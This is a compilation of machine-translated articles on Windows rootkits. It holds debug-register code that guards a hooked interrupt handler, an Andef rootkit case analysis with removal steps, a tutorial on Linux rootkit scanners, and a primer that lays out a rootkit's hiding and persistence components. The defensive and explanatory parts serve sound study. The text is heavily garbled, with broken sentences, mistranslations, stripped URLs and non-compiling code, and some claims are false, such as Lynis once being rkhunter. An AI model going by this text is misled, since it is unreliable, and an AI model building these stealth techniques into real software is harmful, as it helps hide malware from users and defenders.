Correlation bits of the register and check the relevant bits of the DR6 register to perform related operations on these 4 addresses. Refer to the following code:


#define DB_PROT_EXEC   0 
#define DB_PROT_WRITE 1 
#define DB_PROT_RW     3 


#define DB_DR0 0 
#define DB_DR1 1 
#define DB_DR2 2 
#define DB_DR3 3 


#define DB_LEN_1B 0 
#define DB_LEN_2B 1 
#define DB_LEN_4B 3 


int dbProtect (int reg, int addr, int len, int protection) { 
    unsigned int dr7mask; 


    switch (reg) { 
    case 0: 
        __asm { 
            mov eax, addr; 
            mov DR0, eax; 
        } 
        break;             
    case 1: 
        __asm { 
            mov eax, addr; 
            mov DR1, eax; 
        } 
        break;             
    case 2: 
        __asm { 
            mov eax, addr; 
            mov DR2, eax; 
        } 
        break;             
    case 3: 
        __asm { 
            mov eax, addr; 
            mov DR3, eax; 
        } 
        break;             
    } 


    dr7mask = 0x2<<(reg*2); 
    dr7mask |= (( (len<<2) + protection) << (16+(4*reg))); 
    __asm { 
            mov eax, DR7; 
            or   eax, dr7mask; 
            mov DR7, eax; 
    } 
    
    return 1; 



int dbSetGeneralProtection () { 


    __asm { 
        mov eax, DR7; 
        or eax, 0x1000; 
        mov DR7, eax; 
    } 


    return 1; 



Then add the following code to the interrupt handler:
        mov eax, DR6; 
        test ax, 0x100f;     // BD |B3|B2|B1|B0 
        . 
        . 
mov eax, DR6;         // Check the BS (single-step) bit of DR6
        test ah, 0x40; 


Finally, I decided to protect the 3 addresses to varying degrees:
    dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE); 
    dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE); 
    dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW); 


If you are not familiar with the functions of DR6 and DR7 related bits, you can check Intel's manual Section 15.2.




Post-level:


If you are not familiar with the paging mechanism, you can refer to the 4 articles from my friend JIURL that introduce the paging mechanism in detail:


"JIURL Play with Win2k Memory Paging Mechanism (1-4)", website: or WebCrazy's "Small Discussions"


Page mechanism》, website:.
========

Andev Rootkit stubborn karyotype virus case analysis



Abstract: Andef Rootkit (Rootkit.) is a very stubborn kernel-type virus with different antivirus software manufacturers


It may be named differently, but they are all similar and centered on Rootkit.
Andef Rootkit (Rootkit.) is a rather stubborn kernel-type virus that different antivirus software manufacturers have


The naming may be different, but they are all similar and centered on Rootkit. Generally speaking, SYS files using Rootkit code cannot escape


It has been detected by antivirus software, but it is relatively troublesome to remove it. The antivirus software can detect viruses but cannot effectively remove it, which is equivalent to knowing that it is a good idea.


There is a thief inside but can't drive it out, which makes people even more worried. This article takes computers infected with Rootkit. driver virus as an example.


Discuss how to detect and thoroughly remove such viruses.


Rootkit refers to software whose main function is to hide other program itineraries, which may be a combination of one or more software. In broad sense,


Rootkit can also be regarded as a technology, and technology is a double-edged sword that can be used to protect our systems or be destroyed by malicious use.


Our system. The first Rootkit was used for good intentions, but later it was maliciously used by hackers on computer systems that invade and attack others.


Rootkit is also often used to hide traces by viruses, spyware, etc. Because its code runs in privileged mode, it can cause unexpected dangers


Rootkit has been classified as harmful malware by most antivirus software. Today, the word Rootkit refers more to


As a driver, malware loaded into the operating system kernel.


In modern operating systems, applications cannot directly access the hardware, but use the hardware by calling the interface provided by the operating system.


The system relies on kernel space to manage and schedule these applications. From this we can see that the kernel occupies a core hub in the system.


The kernel space consists of four parts, namely process management (responsible for allocating CPU time), file access (provisioning the device into a file system,


It also provides a consistent interface for upper-level program to call), security control (responsible for mandating the specific permissions of each process and separate memory


Scope to avoid conflicts between processes) and memory management (responsible for the allocation, use, release and recycling of memory resources during process operation


). The kernel is a data structure, and Rootkit modifies these data structures to hide relevant information to achieve the ultimate goal of hackers.


Simply put, Rootkit refers to malware that is loaded into the operating system kernel as a driver. The most powerful virus type


What people hate is the Rootkit virus, which hangs into the system kernel in the form of a driver and then performs a series of virus behaviors, such as


Open the backdoor, network monitoring, keyboard monitoring, infect system files, etc.


Next, we use a Rootkit virus instance to deepen our understanding of this type of virus and through its behavior analysis and manual processing.


know.


Viral phenomenon and behavior analysis


1) The virus can be detected by antivirus software, so we can quickly lock the virus driver C:\WINDOWS


\system32\drivers\ (driver randomly named, not fixed), use antivirus software to scan and clear it, and then scan it again


You will find that the driver appears in the original path again, causing a "total killing" phenomenon. Find the driver according to the path and try to delete it manually, but


The driver was generated again in less than a minute.




Figure 1: The virus driver is located in the C:\WINDOWS\system32\drivers directory


2) Through XueTr, you can see that the system driver module has been loaded and the driver has been created in the system.


A service called "mpqsugno", the executable file path points to C:\WINDOWS\system32\drivers\,


No wonder the driver was created repeatedly and deleted impurely.




Figure 2: Virus driver loaded in system module


3) Take it out and conduct a simple behavioral analysis:


A. After the driver is loaded, judge the execution environment, decrypt and obtain the required function address, and create a LoadImage callback function to handle the fun


Interesting process, inject virus code, remotely connect to download other programs and load and execute.




Figure 3: Virus driver creates LoadImage callback


B. Use SSDT Hook technology to check whether the driver loading is completed. If it is not completely written, it can be loaded smoothly during restart.







Figure 4: Virus drivers use SSDT Hook technology to load and protect themselves


C. Create a thread to write loops on the service items loaded by the driver to achieve the purpose of protecting itself from loading.


Through the above three analysis, it is not difficult to see that virus drivers hide themselves by modifying the system kernel and carry self-protection. This method is very


Concealed and will not affect the normal operation of the computer after infection, which is no different from usual, so you will not realize it at all during the normal use of the computer.


. The continuous writing back of the virus has caused great trouble to the removal process. Here is a simple and general manual processing method.


Manual processing method


1) Delete the virus service. Open the Registry Editor, look for the "mpqsugno" registry key added by the virus in the following branch and delete it:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services


2) Manually delete C:\WINDOWS\system32\drivers\virus driver file, then restart the computer, and the system will be restored


It's normal again, the problem is solved.


There are many variants of Rootkit (karyotype) viruses, with multiple transmission methods and infection channels, and the harms they bring are also different, but "it will never change."


"Leave the foundation of the matter", this article mainly provides an idea so that everyone can find the root cause and avoid detours when encountering problems, and eliminate the virus as soon as possible.


Minimize the harm. In addition, this type of virus is mostly invaded by vulnerabilities in the operating system, which may include: open network ports, not


Patched systems or systems with weak passwords, so everyone should fully realize the importance of patching and strengthen the system password strategy.


, install a firewall to reduce the chance of virus invasion in all aspects.
========

Introduction to three scanning tools for finding malware, viruses and rootkits



Servers connected to the internet see constant attacks and scans throughout the day. Although firewalls and regular system updates are the security of the system


The first line of defense, but you should still check regularly to make sure no attackers break in. The tools introduced in this tutorial are for this


Developed by integrity checks, they can be scanned for malware, viruses, and rootkits. They should be able to run regularly (for example, each


Run late), send the report to you via email. If you see suspicious activity, such as a high load, a suspicious process or a sudden server opening


When sending malware, you can also use Chkrootkit, Rkhunter, and ISPProtect to scan the system.


Three scanning tools to help you find malware, viruses and rootkits


All of these scanning tools must be run as root. Log in as root user and continue to the next step, or


Run "sudo su" on Ubuntu and become a root user.


Chkrootkit-Linux rootkit scanning tool


Chkrootkit is a typical rootkit scanning tool. It will check your server, look for suspicious rootkit processes, and check that has


Known rootkit file list.


Or install the package that comes with the distribution (on Debian and Ubuntu, you want to run it),


apt-get install chkrootkit


Or download the source code and install it manually:


wget --passive-ftp ftp:///pub/seg/pac/ tarxvfz 





cd chkrootkit-*/


make sense


After that, you can move the chkrootkit directory to somewhere else, such as /usr/local/chkrootkit:


cd ..


mv chkrootkit-/ /usr/local/chkrootkit


And create a symlink for easy access:


ln -s /usr/local/chkrootkit/chkrootkit /usr/local/bin/chkrootkit


If you want to use chkrootkit to check your server, run this command:


chkrootkit


A common false positive report is:


Checking `bindshell'...


INFECTED (PORTS: 465)


If you receive this message on the email server, don't worry, this is the SMTPS (Secure SMTP) port of your email system and a


Well-known false alarms.


You can even run chkrootkit by scheduling a task (cron job) and have the results emailed to you. First, use the following


In this command, find the path where chkrootkit is installed on the server:


which chkrootkit


Example:


root@server1:/tmp/chkrootkit-0.50# which chkrootkit


/usr/sbin/chkrootkit


Chkrootkit is installed on the /usr/sbin/chkrootkit path. We need to have this path in the following cron line:


run:


crontab -e


Want to create a planned task like this:


0 3 * * * /usr/sbin/chkrootkit 2>&1 | mail -s "chkrootkit output of


my server" you@)


This will run chkrootkit at 3 o'clock every night. Swap the chkrootkit path to the path you got from the above command and email it


Change the address to your actual address.


Lynis - a universal security review tool and rootkit scanning tool


Lynis (formerly known as rkhunter) is a security review tool for Linux and BSD-based systems. It can review your system in detail


many security aspects and configurations. Download the latest Lynis source code from /download/lynis/:


cd /tmp


wget /files/lynis-2.1. tarxvfz lynis-2.1.


mv lynis /usr/local/


ln -s /usr/local/lynis/lynis /usr/local/bin/lynis


This installs lynis to the directory /usr/local/lynis and creates a symbolic link for easy access. Now run:


lynis update info


Check if you are using the latest version.


Now you can run this command and scan the system to find the rootkit:


lynis audit system


Lynis performs a few tests and then pauses to give you time to read the results. Press Enter to continue scanning.


Lynis System Review.


Finally, it displays a scan summary.


Lynis' results.


Want to run Lynis in a non-interactive manner, use the --quick option to start it:


lynis --quick


Want to automatically run Lynis at night and create a scheduled task like this:


0 3 * * * /usr/local/bin/lynis --quick 2>&1 | mail -s "lynis output


of my server" you@)


This will run lynis at 3 o'clock every night. Change your email address to your actual address.


ISPProtect - Website malware scanning tool


ISPProtect is a malware scanning tool for website servers that scan website files and content management system (CMS) systems.


Malware in Wordpress, Joomla, Drupal, etc. If you run a website hosting server, then the hosted website


It is the most frequently attacked part of your server, so it is recommended to perform integrity checks on them regularly. ISPProtect contains 3 types of scans


Engine: Feature-based malware scanning tools, heuristic malware scanning tools, and scanning that displays the installation directory of outdated CMS systems


Scanning tool. ISPProtect is not free software, but there is a free trial version that can be used. You don’t need to register to try it, or clear it.


Infected system.


ISPProtect requires PHP to be installed on the server, and PHP should be installed on most managed systems. In case you do not have command line PHP installed,


To execute on Debian or Ubuntu:


apt-get install php5-cli


Or execute on Fedora and CentOS:


yum install php


Run the following command to install ISPProtect.


mkdir -p /usr/local/ispprotect


chown -R root:root /usr/local/ispprotect


chmod -R 750 /usr/local/ispprotect


cd /usr/local/ispprotect


wget /download/ispp_scan. tarxzf ispp_scan.


rm -f ispp_scan.


ln -s /usr/local/ispprotect/ispp_scan /usr/local/bin/ispp_scan


Want to start ISPProtect, run:


ispp_scan


The scanning tool automatically checks for the updated version and then asks for a key (in this word "trial"), and then asks for a website path.


Usually thats /var/www.


ISPProtect malware scan.


Please enter scan key: <-- trial


Please enter path to scan: <-- /var/www


The scan tool will now start scanning, showing the scanning progress. After the scan is completed, the name of the infected file is displayed on the screen and the result is stored.


In the file in the ISPProtect installation directory, for later use:


 


After the scan is completed, you will find the results also in the following files:


Malware => /usr/local/ispprotect/found_malware_20161401174626.txt


Wordpress => /usr/local/ispprotect/software_wordpress_20161401174626.txt


Joomla => /usr/local/ispprotect/software_joomla_20161401174626.txt


Drupal => /usr/local/ispprotect/software_drupal_20161401174626.txt


Mediawiki => /usr/local/ispprotect/software_mediawiki_20161401174626.txt


Contao => /usr/local/ispprotect/software_contao_20161401174626.txt


Magentocommerce =>


/usr/local/ispprotect/software_magentocommerce_20161401174626.txt


Woltlab Burning Board =>


/usr/local/ispprotect/software_woltlab_burning_board_20161401174626.txt


Cms Made Simple => /usr/local/ispprotect/software_cms_made_simple_20161401174626.txt


Phpmyadmin => /usr/local/ispprotect/software_phpmyadmin_20161401174626.txt


Typo3 => /usr/local/ispprotect/software_typo3_20161401174626.txt


Roundcube => /usr/local/ispprotect/software_roundcube_20161401174626.txt


Starting scan level 1 ...


Want to automatically run ISPProtect as a scheduled task every night, use nano to create a scheduled task file:


nano /etc//ispprotect


Then insert the following line:


0 3 * * * root /usr/local/ispprotect/ispp_scan --update &&


/usr/local/ispprotect/ispp_scan --path=/var/www --email-results=roo


t@localhost --non-interactive --scan-key=AAA-BBB-CCC-DDD


Change "root@localhost" to your email address and scan the report to send it to this address. Then, put "AAA-BBB-CCC-DDD


"Switch to your license key. You can get the license key here().
========

ROOTKIT Basics

1. The basic concept of rootkit


rootkit is a toolkit composed of useful small programs that enable attackers to maintain access to the highest privileges on their computers.


"root" In other words, a rootkit is a set of programs and code that can exist on a computer that persists or is reliable and undetectable.


In the above rootkit definition, the keyword is "undetectable". Most of the techniques and techniques used by rootkit are used to implicitly on computers


Hidden code and data. For example, many rootkits can hide files and directories. Other features of rootkit are often used for remote access and eavesdropping.


For example, it is used to sniff messages on the network. When these characteristics are combined, they can cause a devastating blow to security.


Rootkits are not inherently evil and are not always used by hackers. Rootkit is just a technology, and it is important to understand this. beautiful


Good or evil intentions depend on the person who uses them, a large number of legitimate commercial applications provide remote management, even eavesdropping capabilities, some programs


Even using stealth techniques, these programs can be called rootkits in many ways.


The rootkit exists the same as voice eavesdropping, and people want to understand or control other people's behavior due to the huge and increasingly important data processing.


The degree of dependence of growth has naturally become the target.


The rootkit works only when you want to maintain access to the system. If all the functions to be completed are just stealing information and leaving,


No rootkit left. In fact, there is always a risk of being detected and discovered after leaving rootkit. If information is stolen and the system is cleaned up


, and there will be no trace of operation.


rootkit provides two main functions: remote command and control, and software eavesdropping. Remote commands and controls (remote control for short) include


Control the file, causing the system to restart or "crash blue screen", and access the command shell (i.e. /bin/sh). Software burglary


Listening is observing what people are doing, including sniffing messages, intercepting keystrokes, and reading emails. Attackers can use these technologies to


Capture passwords and decrypted files, and even encryption keys.


In order to make it easy for you to understand this article, I will introduce some knowledge about the operating system.


2. Operating System (OS)


2.1 Operating System - Overview


Most modern people know computers in this way: a person staring at the screen and typing on the keyboard, which is manipulating the computer, so the screen


The screen and keyboard have become representatives of computers. People who know more about computers know that screens and keyboards are nothing more than computer losses


Just output and input, the core of the computer is in a chassis, including processor, memory, motherboard, hard disk and power supply. All these compositions


tangible parts of the computer (in fact, these components are also getting smaller and smaller). Going further, people who have actually used computers still know


Computer hardware alone is not enough, and it also requires various software. The daily software used includes: office software, game software, dictionary software,


Internet software, chat software, antivirus software, etc. It is precisely with these software that computers are so interesting to use. So, although


Although software is not tangible (but the media that stores software is visible and tangible), people know that they are tangible. So


, What is the operating system (Operating System)?


In essence, an operating system is also a kind of software, but it has its own special features compared to general software. All application software


All are based on the operating system, and the development of the operating system itself has promoted the development of application software. A well-known fact is


The development and popularization of Windows operating systems have provided a large number of application software with a platform for existing, and various home software has also followed.


Born.


The operating system is a software that specializes in managing hardware resources. Computer hardware essentially only provides computing and storage capabilities, while the operating system utilizes


The hardware's computing and storage capabilities create an abstract layer. In modern operating systems, this abstraction layer includes tasks or processes (or threads)


), files, devices or byte streams and many other concepts and corresponding functions. Based on the abstract concepts and functions provided by the operating system, the application


The sequence can easily complete its functions without directly manipulating the computer's hardware. Moreover, modern operating systems also provide multiple tasks for


The ability to enjoy hardware resources, so the application does not exclusively occupy hardware resources, but shares it in certain established ways, which also enables users to


It provides great convenience with various application software.


The particularity of different types of operating systems determines the scope of application of application software (especially the RK we are going to talk about this time). For example, UNIX platform


The RK is transferred to the Windows platform and cannot be used normally, and vice versa. Programmers who directly develop software on the operating system must


Only by having a very clear understanding of the abstraction layer provided by the operating system can you write effective software for travel. In the field of modern software development,


One branch is software development on a system-independent platform. The so-called system-independent platform here refers to a common abstract layer for


The upper software runs on it, so the upper software has nothing to do with the operating system platform below. A typical example is the Java language and its development platform


, this is actually a manifestation of the multi-level software.


2.2 Hardware resource management of computer systems


What hardware resources does the operating system manage and how do they manage them? The most important resources are computing resources and storage resources. Computing resources


That is, CPU (Central Processing Unit), mainstream computers usually have one or more CPUs, or a


There are multiple cores in each CPU (i.e., multi-core CPU). From an operating system perspective, having multiple CPUs or one multi-core CPU means that it can be executed simultaneously


Multiple tasks. Therefore, the operating system must reasonably arrange and schedule tasks so that multiple CPUs or multiple cores can be used as much as possible to avoid outage


Competition or idle situations. In operating systems that support multitasking, this responsibility is called task scheduling. In modern operating systems


The task is completed by a process or a thread, and this part of the function of the operating system is also called process scheduling or thread scheduling. Because of the number of tasks


It may exceed the number of CPUs or cores, so multiple tasks may share the same CPU or core, which requires a hardware mechanism to enable the operation.


The system switches between different tasks, which is the hardware basis of task scheduling. Usually, a computer-provided clock interrupt can be disabled


It is very convenient to do this by working on a system, that is, every certain time, the hardware system will trigger an interrupt; the operating system intercepts this


Interrupt, pause the currently executing task according to some algorithm and select a new task to realize the task switching; to the next


When the clock interrupt arrives, continue this switching process. Therefore, multiple tasks can be executed in one CPU or core in turn. operating system


You can set the length of the clock interrupt interval, or you can select different algorithms to arrange these tasks to be executed one after another, thus forming various


Different scheduling algorithms.


Storage resources usually include memory (RAM, random access memory) and external memory (also known as auxiliary memory). External memory is passed through standard I/O


(Input/Output) is managed, while memory is accessed by the CPU directly through the system bus. Memory is the material basis for the CPU to perform a task


, the registers inside the CPU have the ability to calculate, but where does the calculated data come from? In addition to registers (it is also a storage resource


In addition to ) the source of data is system memory. In modern operating systems, each task has its own independent memory space, thus avoiding tasks


Unnecessary interference occurs between them, so the operating system has the responsibility to provide relatively independent memory space for each task. Physics of continuous addressing


Memory is divided into independent memory spaces, and the typical practice is segmental memory addressing and page virtual memory management. Different hardware architectures can


Can support different solutions. Intel x86 architecture supports both segment addressing and page virtual memory mapping, but can be used in Intel x86


Almost all operating systems running on choose virtual memory mapping as the hardware basis for memory management. Windows and Linux are typical examples


son.


In a system that supports multitasking, if the total amount of memory requirements of all tasks adds to more than the total amount of physical memory in the current system, then,


The system either stops some tasks or transfers some tasks to external memory (such as disk), and then transfers these tasks when the memory is idle.


Change it back. Or the system selectively converts some of the infrequently used memory to external memory and slowly converts it back to the future according to appropriate rules.


Come. The mapping of virtual memory and the swap out and swap in operations when physical memory is insufficient are all important tasks for the operating system to manage memory resources.


. The former relies on the mechanism provided by the hardware, while the latter is more controlled by the operating system itself.


In addition to the management of computing resources and memory resources, the operating system manages other resources through I/O. For example, the above mentioned foreign deposit funds


Sources, like disks, are indispensable components in modern computers; in addition, keyboards and mice are usually standard input devices, while monitors


And printers are often standard output devices. In order to deal with I/O devices, the operating system needs three technical guarantees: the CPU passes the special


Determined instructions to control the I/O device, the I/O device notifies the CPU of a specific thing, and transfer data between the main memory of the system and the device.


Usually, the CPU directly accesses the device's registers to operate a device. On Intel x86 systems, the CPU can do it through the in and out instructions.


at this point. Device registers are another address space that the CPU accesses through the I/O port. In modern computers, I/O


Port allocation is related to software and hardware. Different hardware devices will use different port numbers, and most modern devices can pass


The software method is used to set its port number, while some old devices in the past may have to change the port number settings through hardware jumpers. For hardware settings


Proper setting is also one of the tasks of operating systems to manage hardware devices. In addition, how does the CPU know or detect the working status of the device?


Woolen cloth? One way is to constantly query the device's status register to know its working status; however, it is more effective to do so.


When the status of the backup changes, it can actively notify the CPU, so that the operating system can take corresponding measures. This is the device interruption


mechanism. For example, when the keyboard device presses a key action, it generates an interrupt, telling the CPU (and the operating system) which key is currently


Pressed. Interrupts also have numbers, and the number of interrupts is regarded as a global resource of the system. In the interrupt controllers of early computers, different devices are used.


The interrupt number cannot conflict, otherwise the device will not work properly. Modern computers usually allow multiple devices to share interrupt numbers, operating systems and settings


The backup driver can negotiate the interrupt number of the device.


The computing and processing power of a computer is often limited to being performed between the internal registers of the CPU and the main memory, but in order to implement basic arithmetic calculations.


The other various capabilities are usually necessary to allow the data in the device to participate in the calculation, so the device and CPU registers or main memory


Transferring data between data is often a necessary function. For example, a computer can realize permanent storage through a disk device, and a display controller can realize color


Color display and even three-dimensional simulation. There are many ways to realize data transmission. If the data volume of the device itself is very small, you can directly use the in-point


The command is to read the data in the device, or output it to the device through the out command. Or you can also map a range of address to the device, so


When the CPU accesses this address range, it is actually accessing the device's memory, not the system's main memory. Another suitable for large blocks


According to the transmission technology, DMA (Direct Memory Access, direct memory access). Hard disk controllers and network controllers are usually used


In DMA mode, the CPU only needs to set the direction, position, quantity and other information of the data transmission to start DMA transmission. DMA


Transmission can be performed simultaneously with CPU calculations, but the bus used by DMA cannot conflict with the CPU used, it can take advantage of the CPU's lack of bus.


Transferring data at all times may also block the execution of CPU instructions. The degree to which DMA transmission affects the CPU's execution of instructions depends on DMA control


The transmission policy of the device.


From an operating system perspective, it is necessary for the operating system to define a framework, considering the diversity of I/O devices and the possibility of new devices emerging.


to accommodate a wide variety of I/O devices and allow the operating system to provide support for new devices after release. So, in addition to special exercises


In addition to the system, modern operating systems will provide an I/O model that allows device manufacturers to write device drivers according to this model (Device


Driver) and load into the operating system. I/O models are generally of wide applicability and are able to support a variety of devices, including hard-to-hard.


control capabilities of the device and support for data transmission. This can be summarized in this way, which provides the ability to control hardware devices.


The power provides a standard interface for application access to hardware, and the I/O model must also enable the operating system to effectively manage the device.


Driver. In Windows systems, third-party vendors can use Windows' I/O model to write device drivers. Windows Books


When it was released, a large number of drivers for mainstream devices were already built in, so Windows system can automatically identify them during the installation phase.


The device driver is installed into the system. Therefore, users do not need to manually download or install these drivers. On the other hand, because


The driver needs to access the hardware device directly, and many instructions it executes (including in and out) are privileged instructions, so the driver is for


The stability and security of the system have a crucial impact, and it is necessary for the operating system to implement strict screening measures to avoid malicious agents.


The machine breaks into the system (but it is still not strict enough in fact).


2.3 Software Support


The reason why the operating system needs to manage various hardware resources is to provide services to upper-level applications more concisely. The application is not directly connected to the machine


The various hardware devices and resources of the device are dealt with, but run on an abstract layer, that is, the functional semantic layer provided by the operating system. operating system


What kind of semantic layers are provided will determine how applications should build their functional logic. Although different operating systems provide this


The interfaces of a functional semantic layer may be inconsistent or even far apart, but the semantic layer of modern operating systems is still conceptually consistent.


In terms of the application construction requirements, we introduce some core concepts.


First of all, make the most basic abstraction of application tasks, which is the concept of processes and threads. Although different operating systems are for the process and


The definition of threads is different, but each task should have its own execution environment, that is, the control flow of the task and the layer of function calls.


Second progression trace (assuming that the semantics of function calls are supported in the instruction system of the CPU). For example, in UNIX, a process represents an application


Task, which records the execution status of the task; in Windows, a thread represents a task, which also records the execution of the task


Row status. Modern operating systems support multiple tasks to be executed concurrently, and the number of tasks can be much larger than the number of CPUs or cores, so each


Tasks are actually divided into part of the CPU execution time, and multiple tasks can share one CPU. Therefore, in such a multitasking operating system


Under the model, in addition to maintaining its state for each task (process or thread), the operating system must also have appropriate algorithms to determine what.


When is it allowed to execute, and when is it suspended? As mentioned earlier, this is task scheduling, or process scheduling


degree or thread scheduling (depending on whether the operating system manages tasks in a process or thread manner). Simply perform each task in turn, this


These scheduling algorithms are often difficult to meet the various needs of practical applications. Usually, the operating system will adopt a preemptive scheduling algorithm based on priority


, and even prioritize dynamic fine-tuning according to various characteristics of the task, which makes the task scheduling algorithm tend to be complicated. Threading for Windows


Scheduling schemes belong to this type.


Secondly, on the basis of supporting multitasking, if these tasks are independent of each other, the operating system can always make it in the right way


We get execution opportunities, but in practice, in order to implement various functional logics, there are often some logical links between different tasks.


Connectivity. For example, a certain timing relationship must be imposed between tasks to ensure that the state of each task is valid; when multiple tasks compete for a certain


When some rare resources (note that the system's hardware resources, such as printers and monitors, are shared), the system must ensure that these tasks have


Execute in sequence. Therefore, wherever there are shared resources, the operating system must provide appropriate methods to synchronize the application's access to it


. Modern operating systems usually provide multiple synchronization mechanisms, such as mutex, semaphore, and critical zones.


(critical section) etc. Applications can selectively use these synchronization mechanisms to ensure multiple tasks share resources in an orderly manner.


In addition to the concepts of tasks and synchronization, each application must also have its own relatively independent execution space. In modern operating systems, processes


It also represents an application and its execution space. The spaces of different processes are isolated from each other, which is a basic requirement of modern operating systems.


. The operating system must implement an effective spatial isolation solution based on the hardware characteristics of the processor. Each process has its own


memory space and cannot directly access the memory space of other processes. If data is to be shared between processes, it must be passed through the operating system.


Provides mechanism to carry out. The operating system on the Intel x86 architecture basically uses the hardware's virtual memory mapping mechanism to isolate each


The memory space of the process. Therefore, the operating system's responsibility is to maintain the mapping relationship from virtual address to physical address for each process, and


Manage the allocation and recycling of physical memory well. On the other hand, in addition to the spatial isolation of processes, the operating system must also provide corresponding mechanisms to


Different processes can communicate with each other. After all, many software requires collaboration between processes to complete some upper-level functions. Synchronization mechanism and step-through


Process shared memory is a typical inter-process communication method.


As mentioned earlier, modern operating systems often manage I/O devices with a unified framework, which also implies the I/O exposed by the operating system to applications.


Interfaces are unified. The application accesses the system's external devices through this interface, and the operating system must not only manage it well.


Various requests to access peripherals using programs, including their timing, must also send application requests to the corresponding device driver.


, the requests are finally processed by the device driver, and the result of the processing must be sent back to the application in some way. Operating system


A handle is often used to represent an accessible abstract device. The abstract device may be connected to a physical device or may not have a corresponding one.


physical equipment or resources. The operating system also provides the ability to read (read), write (write) data on a handle, and send control commands.


force. Therefore, the way applications deal with system devices is very concise and clear: open the device and get a handle, send commands to the device, read


or write the device, and turn off the device. The task of the operating system is to manage these devices and drivers, as well as to pass or interpret the life of the application.


make.


A special type of device is a disk, which has the ability to read and write randomly, although its performance of random reading and write is much worse than sequential reading and write. generally


, the disk driver is responsible for manipulating the disk controller to read data from the disk or write data to the disk, but the number on the disk


According to how to effectively organize so that different applications can share the same disk, this task is made by the file system (file


system) to complete it. In most operating systems, file systems are indispensable, and they manage magnets through a tree namespace


Storage space on disk, allowing applications to access data on disk by name. This structure lays the foundation for the information storage of modern computers


The basis of the system.


So, the application actually works on the abstraction layer provided by the operating system, which does not require the management of the system's hardware devices and resources, but must make


Use the mechanism or semantics provided by the operating system to implement its own functional logic. This also implies that the operating system determines to some extent


How should the layer application use the services it provides is the most efficient and convenient, and the application also has enough flexibility to complete it.


Become its own upper function. This creates a situation where there are a large number of applications with different styles on the same operating system, and,


The abstraction layer provided by different operating systems has certain conceptual interoperability, so many application software can easily go from one operating system.


The unified platform is ported to another.


The categories of operating systems we usually refer to include the resource management functions mentioned above, as well as the various abstract concepts provided to applications and


The concrete implementation of abstract interfaces. However, there are often many pre-packaged modules between the application and the core modules of the operating system.


This allows application developers to reuse these modules, thereby developing application software efficiently and shortening the development cycle of application software. These models


Blocks may be provided by operating system manufacturers or independent software manufacturers. They may form a common middleware (


middleware) may also be just a library module (static or dynamic) provided by the compiler. For example, Windows operating systems


The release version contains a large number of such intermediate modules (such as COM/COM+, Winsock2, .NET, etc.), which have also become Windows'


Part.


A complex rootkit may contain many components. A complex rootkit can use the following directory structure:


●/My Rootkit
/src/File Hider●




The code for hidden files can be complicated and should be included in its own source code file**. There are many types of file hiding techniques, one of which


These may require a lot of code to implement. For example, some file hiding techniques require hooking a large number of function calls. Every hook


A lot of source code has been used.


●/src/Networks Ops●


Network operations on Windows systems require NDIS and TDI codes. These drivers may be quite large, and they are sometimes linked to external


On the library, it is appropriate to limit these features to their own source files.


●/src/Registry Hider●


The method of registry hiding operations may be different from the file hiding feature. It may involve many hooks, or it may require tracking many handle tables


or handle list. In fact, the way registry keys and key values ​​are associated with each other causes problems with the registry keys to hide. So some


The rootkit developers have carefully designed very complex solutions to this problem. This type of feature should also be limited to its own source file**





●/src/Process Hider●


Process hiding should use Direct Kernel Object Manipulation (DKOM) technology. These files may


Contains reverse engineering data structures and other information.


When the computer restarts, most rootkits also need to be restarted. Here the attacker provides a mini service for booting the system


"Start" the rootkit. Making the rootkit restart with the computer is a difficult problem. Although simply modifying the registry key can lead to


The file is started at boot time, but this method is easily detected. Some rootkit developers have designed complex boot functions, including magnetic


Kernel patches on disk and modify the system boot loader.


●/inc●


This directory contains the common contained files, including type definitions, enumerations, and I/O ControI (IOCTL) code. These files


It is often shared by all other files, so it should be located in your own proprietary space.


●/bin●


This directory contains all compiled files.


●/lib●


Since the compiler's own library is located in another directory, an attacker can store his own additional library or third-party library under that directory.


3.3 Introducing code in the kernel


The direct way to implant code into the kernel is to use a loadable module (sometimes called a device driver or kernel driver). Most of them are now


All operating systems allow the loading of kernel expansion modules so that manufacturers of third-party hardware such as storage systems, graphics cards, motherboards and network hardware can


Enough to add support for your own products. Operating systems generally provide documentation and support for introducing drivers into the kernel.


As its name suggests, device drivers are usually used for devices. However, any code can be introduced through the driver. Once you have


By running the code in the kernel, you can fully access all privileged memory spaces of the kernel and system processes. Through kernel-level access,


Modify all software codes and data structures on the computer.


A typical module structure contains an entry point and sometimes a cleanup routine. For example, the loadable module structure of Linux is similar to the following




int init_module(void)
{
}
void cleanup_module(void)
{
}

In some cases, for example, for Windows device drivers, the entry point must register a function callback. Its module structure is similar to the following




NTSTATUS DriverEntry (...)
{
theDriver->DriverUnload = MyCleanupRoutine;
}
NTSTATUS MyCleanupRoutine()
{
}

Cleaning routines are not always necessary, so Windows device drivers set it as optional. It is only necessary when you want to uninstall the driver


Clean up routines. In many cases, the rootkit can reside in it after being placed in the system without uninstalling it. But in the development process, it contains a


The uninstall routine is useful because the latest version may need to be loaded during the improvement of rootkit.


3.4 Building Windows device drivers


The first example is designed as a simplified device driver running on Windows XP and Windows 2000 platforms. It's not really


The rootkit is just a simple "hello world" device driver.

#include ""
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath ) '
{
DbgPrint ( "Hello World ! ") ;
return STATUS SUCCESS;
}

The above code looks simple, load it into the kernel and the debug statement will display information. Our rootkit example is constructed from multiple content


The following sections introduce them separately.


3.4.1 Device Driver Development Toolkit


In order to build our Windows device drivers, a driver development kit (DDK) is required.


DDKs for each Windows version are available from Microsoft. Sometimes you need the Windows 2003 version of DDK, you can use this DDK version to


Build drivers for Windows 2000, Windows XP, and Windows 2003.


3.4.2 Building an environment


DDK provides two different build environments: checked build and free build environment. When developing device drivers


Use check to build environment, and use free build environment for issuing code. Check the build compiles debug check information into the driver,


The generated driver is much larger than the free build version, and most development work should be built using checks only when testing the final product


Switch to free build.


3.4.3 File


The driver source code is written in C language, and the file extension is ".c". To develop the first project, create an empty directory (


